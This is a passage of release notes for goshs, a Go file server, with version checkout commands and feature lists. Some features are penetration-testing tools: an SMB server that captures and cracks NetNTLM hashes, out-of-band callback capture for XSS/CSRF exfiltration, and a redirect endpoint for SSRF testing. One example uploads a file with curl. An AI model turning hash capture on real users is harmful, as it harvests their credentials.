    • New SMTP server mode receives emails and attachments, logging them and forwarding to webhooks.
    • New real-time collaboration panel unifies live HTTP request logs, DNS query logs, SMTP inbox, SMB NTLM captures, and clipboard sync in one view.

    +6 more show less

    • New redirect endpoint issues HTTP redirects with custom status codes and headers via ?redirect&url=...&status=301&header=... for SSRF and open redirect testing.
    • New info JSON endpoint exposes server configuration and state.
    • Clipboard contents now sync in real time across all connected clients.
    • Per-directory .goshs auth files now apply recursively to all subdirectories.
    • Dark/light theme toggle added with a full UI redesign and new logo.
    • Config file updated with new fields covering all v2 server modes.

    11 details in Everything

26. v2.0.0-beta.5 Prerelease Apr 10, 2026 · release notes

    goshs v2.0.0-beta.5 adds a built-in SMBSMBA network file-sharing protocol developed by Microsoft that lets systems share files, printers, and named pipes over a network; cyber tools target or speak it because it is ubiquitous in Windows environments. server that captures and cracks NetNTLMv1/v2+ESS hashes and serves files.

    └──▷ GET THIS VERSION

    copy

    $ git clone --branch v2.0.0-beta.5 https://github.com/patrickhener/goshs.git
    # already have the repo? check out this version:
    $ git checkout v2.0.0-beta.5

    • New built-in SMB server captures NetNTLMv2/v1+ESS challenge-response hashes from connecting clients.
    • Automatically attempts to crack captured hashes against username/domain permutations and an optional user-supplied wordlist.
    • SMB server doubles as a file-serving endpoint, delivering files over the SMB protocol alongside existing HTTP capabilities.

    3 details in Everything

27. v2.0.0-beta.4 Prerelease Apr 9, 2026 · release notes

    goshs v2.0.0-beta.4 adds a ?redirect query handler for purposeful URL redirects.

    └──▷ GET THIS VERSION

    copy

    $ git clone --branch v2.0.0-beta.4 https://github.com/patrickhener/goshs.git
    # already have the repo? check out this version:
    $ git checkout v2.0.0-beta.4

    • New ?redirect query parameter handler lets you trigger intentional redirects — useful for CTFCTFCapture The Flag — a competitive hacking challenge format where participants exploit intentionally vulnerable systems or puzzles to retrieve hidden strings, used by cyber tools to practice and demonstrate offensive and defensive techniques. environments.

    1 detail in Everything

28. v2.0.0-beta.2 Prerelease Mar 30, 2026 · release notes

    goshs v2.0.0-beta.2 adds SMTPSMTPThe application-layer protocol used to send email between servers and from clients to servers; cyber tools use it to relay alerts, phishing simulations, or exfiltrated data over standard mail infrastructure. domain binding to prevent open-relay configurations.

    └──▷ GET THIS VERSION

    copy

    $ git clone --branch v2.0.0-beta.2 https://github.com/patrickhener/goshs.git
    # already have the repo? check out this version:
    $ git checkout v2.0.0-beta.2

    └──▷ TRY IT
    Lock the SMTP server to your domain so it only accepts mail for that domain and cannot be abused as an open relay.
    copy

    $ goshs --smtp-domain example.com

    • Binds the built-in SMTP server to a specific domain via --smtp-domain, preventing open-relay creation.

    1 detail in Everything

29. v2.0.0-beta.1 Prerelease Mar 25, 2026 · release notes

    goshs v2.0.0-beta.1 adds a Burp-style Collaborator tab with built-in DNS, SMTPSMTPThe application-layer protocol used to send email between servers and from clients to servers; cyber tools use it to relay alerts, phishing simulations, or exfiltrated data over standard mail infrastructure., and HTTP logging for OOB exfiltration.

    └──▷ GET THIS VERSION

    copy

    $ git clone --branch v2.0.0-beta.1 https://github.com/patrickhener/goshs.git
    # already have the repo? check out this version:
    $ git checkout v2.0.0-beta.1

    └──▷ HOW TO FIND IT
    Catch DNS, SMTP, and HTTP callbacks during a CTFCTFCapture The Flag — a competitive hacking challenge format where participants exploit intentionally vulnerable systems or puzzles to retrieve hidden strings, used by cyber tools to practice and demonstrate offensive and defensive techniques. or XSSXSSCross-site scripting, an attack that runs malicious script in another user's browser through a trusted site. It can steal data or perform actions using the user's session./CSRFCSRFCross-site request forgery, an attack that makes a signed-in browser send an unwanted request to a site. The site may accept the request using the victim's existing session. engagement — open the Collaborator tab in the goshs web UI after pointing your domain's NS/MX records at the host running goshs.
    📍In the web UI, click the Collaborator tab to view captured DNS queries, inbound SMTP messages, and full HTTP request logs in real time.
    • New Collaborator tab provides out-of-band interaction capture similar to Burp Collaborator.
    • Built-in DNS server catches DNS callbacks when your domain points to the goshs instance.
    • Built-in SMTP server captures inbound mail for exfiltration detection in CTF, CSRF, and XSS scenarios.
    • Full HTTP request log now surfaced in the Collaborator tab, replacing the need for -V verbose mode.
    • Complete UI/UX redesign with new templates, CSS, and JavaScript.

    5 details in Everything

30. v1.1.4 Mar 13, 2026 · release notes

    goshs v1.1.4 adds localhost.run tunneling to expose your server through NAT/firewalls.

    └──▷ GET THIS VERSION

    copy

    $ git clone --branch v1.1.4 https://github.com/patrickhener/goshs.git
    # already have the repo? check out this version:
    $ git checkout v1.1.4

    • Adds built-in tunneling to localhost.run, making goshs publicly reachable even behind NAT or firewalls with no port-forwarding required.

    1 detail in Everything

31. 1.1.3 Dec 16, 2025 · release notes

    goshs 1.1.3 adds invisible mode and makes mDNSmDNSA zero-configuration protocol that resolves hostnames to IP addresses on a local network segment without a central DNS server, using multicast UDP on 224.0.0.1:5353. Cyber tools use it to discover hosts and services without active probing. opt-in

    └──▷ GET THIS VERSION

    copy

    $ git clone --branch 1.1.3 https://github.com/patrickhener/goshs.git
    # already have the repo? check out this version:
    $ git checkout 1.1.3

    • New invisible mode hides the server from passive observers on the network
    • mDNS advertisement is now opt-in instead of opt-out, reducing unintended network exposure by default

    2 details in Everything

    └──▷ BREAKING ON UPGRADE

    • !mDNS is now opt-in instead of opt-out — existing setups that relied on mDNS being enabled by default will no longer advertise unless the opt-in flag is explicitly set
32. v1.1.0 Jun 3, 2025 · release notes

    goshs v1.1.0 adds unauthenticated share links with download/time limits and QR code generation for file URLs.

    └──▷ GET THIS VERSION

    copy

    $ git clone --branch v1.1.0 https://github.com/patrickhener/goshs.git
    # already have the repo? check out this version:
    $ git checkout v1.1.0

    • Adds time-limited and download-count-limited share links that bypass authentication, letting anyone with the link download a file or folder (as ZIP) without credentials.
    • Adds QR code generation for file and folder links, enabling quick mobile device access.

    2 details in Everything

33. v1.0.7 May 19, 2025 · release notes

    goshs v1.0.7 adds SFTPSFTPSSH File Transfer Protocol, a file transfer standard built on top of SSH that provides encrypted upload, download, and remote file management; cyber tools use it to move files or exfiltrate data over an authenticated, encrypted channel. protocol support and zeroconf mDNSmDNSA zero-configuration protocol that resolves hostnames to IP addresses on a local network segment without a central DNS server, using multicast UDP on 224.0.0.1:5353. Cyber tools use it to discover hosts and services without active probing. broadcasting for HTTP, WebDAV, and SFTP.

    └──▷ GET THIS VERSION

    copy

    $ git clone --branch v1.0.7 https://github.com/patrickhener/goshs.git
    # already have the repo? check out this version:
    $ git checkout v1.0.7

    • Adds SFTP as a supported transfer protocol alongside HTTP and WebDAV.
    • Broadcasts HTTP, WebDAV, and SFTP services via zeroconf mDNS, making instances discoverable on the local network (e.g., http://<hostname>.local:8000).

    2 details in Everything

34. v1.0.4 May 2, 2025 · release notes

    goshs v1.0.4 adds delete-disable flag and webhook notifications for file operations

    └──▷ GET THIS VERSION

    copy

    $ git clone --branch v1.0.4 https://github.com/patrickhener/goshs.git
    # already have the repo? check out this version:
    $ git checkout v1.0.4

    • Adds ability to disable delete functionality, preventing file removal via the server.
    • Adds webhook support to receive notifications on basic file operations (upload, download, delete, etc.).

    2 details in Everything

35. v1.0.3 Apr 16, 2025 · release notes

    goshs v1.0.3 adds YAML config file support and bcryptbcryptA deliberately slow password-hashing function, so a stolen password database takes far longer to crack by guessing. Argon2 and scrypt are newer alternatives built on the same idea. password hashing for basic auth.

    └──▷ GET THIS VERSION

    copy

    $ git clone --branch v1.0.3 https://github.com/patrickhener/goshs.git
    # already have the repo? check out this version:
    $ git checkout v1.0.3

    • New YAML config file support lets you define all goshs settings in a config file, overriding CLI flags.
    • Basic auth now accepts bcrypt-hashed passwords in addition to plaintext.

    2 details in Everything

36. v1.0.2 Mar 7, 2025 · release notes

    goshs v1.0.2 adds --no-clipboard option to create clean file-drop endpoints without the clipboard UI.

    └──▷ GET THIS VERSION

    copy

    $ git clone --branch v1.0.2 https://github.com/patrickhener/goshs.git
    # already have the repo? check out this version:
    $ git checkout v1.0.2

    └──▷ TRY IT
    Run a minimal file-drop endpoint that accepts uploads only — no clipboard, no directory browsing.
    copy

    $ goshs --no-clipboard --upload-only

    • Adds --no-clipboard flag to disable and hide the clipboard widget in the UI, enabling a pure file-drop endpoint when combined with upload-only mode.

    1 detail in Everything

37. v1.0.1 Nov 22, 2024 · release notes

    goshs v1.0.1 adds file-based logging with -o/--output and PUT-based file uploads via curl.

    └──▷ GET THIS VERSION

    copy

    $ git clone --branch v1.0.1 https://github.com/patrickhener/goshs.git
    # already have the repo? check out this version:
    $ git checkout v1.0.1

    └──▷ TRY IT
    Persist server logs to disk for later review or incident response.
    copy

    $ goshs -o /var/log/goshs.log

    Upload a file to a running goshs instance without a browser using curl's PUT transfer.
    copy

    $ curl -T secret.zip http://192.168.1.10:8080/uploads/

    • Adds -o/--output flag to write goshs output to a file.
    • Supports HTTP PUT for file uploads, enabling curl -T workflows.

    2 details in Everything

38. v1.0.0 Nov 15, 2024 · release notes

    goshs v1.0.0 adds POST body logging with automatic JSON pretty-printing and base64 decoding in verbose mode.

    └──▷ GET THIS VERSION

    copy

    $ git clone --branch v1.0.0 https://github.com/patrickhener/goshs.git
    # already have the repo? check out this version:
    $ git checkout v1.0.0

    • Logs POST body content in verbose mode, including bodies sent to the server.
    • Automatically detects and pretty-prints JSON values found in request parameters and bodies.
    • Automatically detects and decodes base64-encoded values in request parameters and bodies before logging.

    3 details in Everything

39. v0.4.0 Jul 5, 2024 · release notes

    goshs v0.4.0 adds support for using P12 files for TLS configuration

    └──▷ GET THIS VERSION

    copy

    $ git clone --branch v0.4.0 https://github.com/patrickhener/goshs.git
    # already have the repo? check out this version:
    $ git checkout v0.4.0

    • Adds p12 file support for TLS

    1 detail in Everything

40. v0.3.9 Jun 27, 2024 · release notes

    goshs v0.3.9 adds -e flag and compile-time embedded file support to serve bundled assets

    └──▷ GET THIS VERSION

    copy

    $ git clone --branch v0.3.9 https://github.com/patrickhener/goshs.git
    # already have the repo? check out this version:
    $ git checkout v0.3.9

    • Adds the -e CLI flag to display embedded files in the UI
    • Enables compiling static files into the binary via the embedded/ folder and Makefile

    2 details in Everything

41. v0.3.8 Apr 30, 2024 · release notes

    goshs v0.3.8 adds Let's Encrypt HTTPSHTTPSHTTP carried over an encrypted TLS connection. It protects traffic in transit and lets a browser verify the server's certificate. support and instant Dropzone uploads

    └──▷ GET THIS VERSION

    copy

    $ git clone --branch v0.3.8 https://github.com/patrickhener/goshs.git
    # already have the repo? check out this version:
    $ git checkout v0.3.8

    └──▷ USE IT
    Run goshs with valid HTTPS using Let's Encrypt for a specific domain and email contact.
    shell copy

    goshs -s -sl -sle your@mail.com -sld your.domain.com

    • Adds -sle flag to obtain Let's Encrypt certificates via CLI
    • Enables Drag-and-Drop file upload in the web UI without extra clicks

    2 details in Everything

42. v0.3.6 Sep 1, 2023 · release notes

    goshs v0.3.6 adds copy-to-clipboard and file deletion actions

    └──▷ GET THIS VERSION

    copy

    $ git clone --branch v0.3.6 https://github.com/patrickhener/goshs.git
    # already have the repo? check out this version:
    $ git checkout v0.3.6

    └──▷ HOW TO FIND IT
    Copy a served file's content directly to the host clipboard via the web UI.
    📍In the goshs web interface, click the Copy to clipboard button next to the desired file.
    Remove one or more files from the served directory via the web UI.
    📍In the goshs web interface, select files and use the Delete button for individual or bulk removal.
    • Adds copy to local clipboard for shared app clipboard
    • Adds ability to delete files individually or in bulk mode

    2 details in Everything

43. v0.3.5 Jun 21, 2023 · release notes

    Adds per-folder ACLsACLsAn access control list, a set of rules allowing or denying operations for particular users, services or network addresses. It decides who can use a resource. via .goshs files for content hiding and custom basic auth in goshs v0.3.5

    └──▷ GET THIS VERSION

    copy

    $ git clone --branch v0.3.5 https://github.com/patrickhener/goshs.git
    # already have the repo? check out this version:
    $ git checkout v0.3.5

    • Adds .goshs config file support to enable custom per folder ACLs
    • Enables hiding content from directory listings using the .goshs file

    2 details in Everything

44. v0.3.2 May 29, 2023 · release notes

    goshs v0.3.2 adds privilege dropping on Linux/MacOS and verbose Auth header logging

    └──▷ GET THIS VERSION

    copy

    $ git clone --branch v0.3.2 https://github.com/patrickhener/goshs.git
    # already have the repo? check out this version:
    $ git checkout v0.3.2

    • Adds ability to drop process privileges on Linux/MacOS for enhanced security
    • Adds Authorization header to verbose mode logs when present

    2 details in Everything

45. v0.3.0 Feb 28, 2023 · release notes

    goshs v0.3.0 adds ?json query parameter to serve directory listings as JSON instead of HTML.

    └──▷ GET THIS VERSION

    copy

    $ git clone --branch v0.3.0 https://github.com/patrickhener/goshs.git
    # already have the repo? check out this version:
    $ git checkout v0.3.0

    • Adds support for the ?json query parameter on all endpoints to return directory listings in JSON format
    • Mitigates slow loris attack against the server

    2 details in Everything

46. v0.1.7 Feb 28, 2022 · release notes

    goshs v0.1.7 adds structured logging and client IP address output

    └──▷ GET THIS VERSION

    copy

    $ git clone --branch v0.1.7 https://github.com/patrickhener/goshs.git
    # already have the repo? check out this version:
    $ git checkout v0.1.7

    • logrus integration introduces structured logging support as a new capability

    1 detail in Everything

47. v0.1.5 Oct 12, 2021 · release notes

    goshs v0.1.5 adds drag-and-drop file upload via dropzone.js

    └──▷ GET THIS VERSION

    copy

    $ git clone --branch v0.1.5 https://github.com/patrickhener/goshs.git
    # already have the repo? check out this version:
    $ git checkout v0.1.5

    └──▷ HOW TO FIND IT
    Enable drag-and-drop uploading in your goshs web interface.
    📍In your browser, drag files onto the upload zone of your goshs instance running on port :8080
    • new UI feature: Drag & Drop support for the upload form (dropzone.js)

    1 detail in Everything

48. v0.1.4 Oct 12, 2021 · release notes

    goshs v0.1.4 adds read-only/upload-only modes and custom user support for basic auth

    └──▷ GET THIS VERSION

    copy

    $ git clone --branch v0.1.4 https://github.com/patrickhener/goshs.git
    # already have the repo? check out this version:
    $ git checkout v0.1.4

    └──▷ TRY IT
    Run the server in read-only mode to prevent any modifications to files.
    copy

    $ goshs --read-only /var/www/html

    Run the server in upload-only mode, typically for a dropbox-style feature.
    copy

    $ goshs --upload-only /var/uploads

    Authenticate with a custom username instead of the default user.
    copy

    $ goshs --auth-user admin --auth-pass secret123 /var/www/html

    • Adds read-only mode to prevent uploads
    • Adds upload-only mode to prevent reads or directory listings
    • Allows setting a custom username for basic authentication

    3 details in Everything

49. v0.1.2 Oct 1, 2021 · release notes

    goshs v0.1.2 adds -i interface name support to resolve IPv4 addresses

    └──▷ GET THIS VERSION

    copy

    $ git clone --branch v0.1.2 https://github.com/patrickhener/goshs.git
    # already have the repo? check out this version:
    $ git checkout v0.1.2

    └──▷ USE IT
    Bind the server to a specific interface name (e.g., eth0) instead of defaulting.
    shell copy

    goshs -i eth0

    • Adds interface flag (-i) to specify a network interface for IPv4 address resolution

    1 detail in Everything

50. v0.0.6 Oct 23, 2020 · release notes

    goshs v0.0.6 adds bulk zip download, per-file download buttons, and non-persistent clipboard integration.

    └──▷ GET THIS VERSION

    copy

    $ git clone --branch v0.0.6 https://github.com/goshs-labs/goshs.git
    # already have the repo? check out this version:
    $ git checkout v0.0.6

    └──▷ HOW TO FIND IT
    Select multiple files in the goshs web interface to export them as a single zip archive.
    📍click the bulk download button after selecting files
    Download a single file directly from the list view without opening it first.
    📍click the download button next to the filename
    • bulk download as zip file allows users to download multiple selected files in a single archive
    • download button provides a direct file download action for individual items
    • non-persistent clipboard integrates system clipboard functionality without keeping data in memory

    3 details in Everything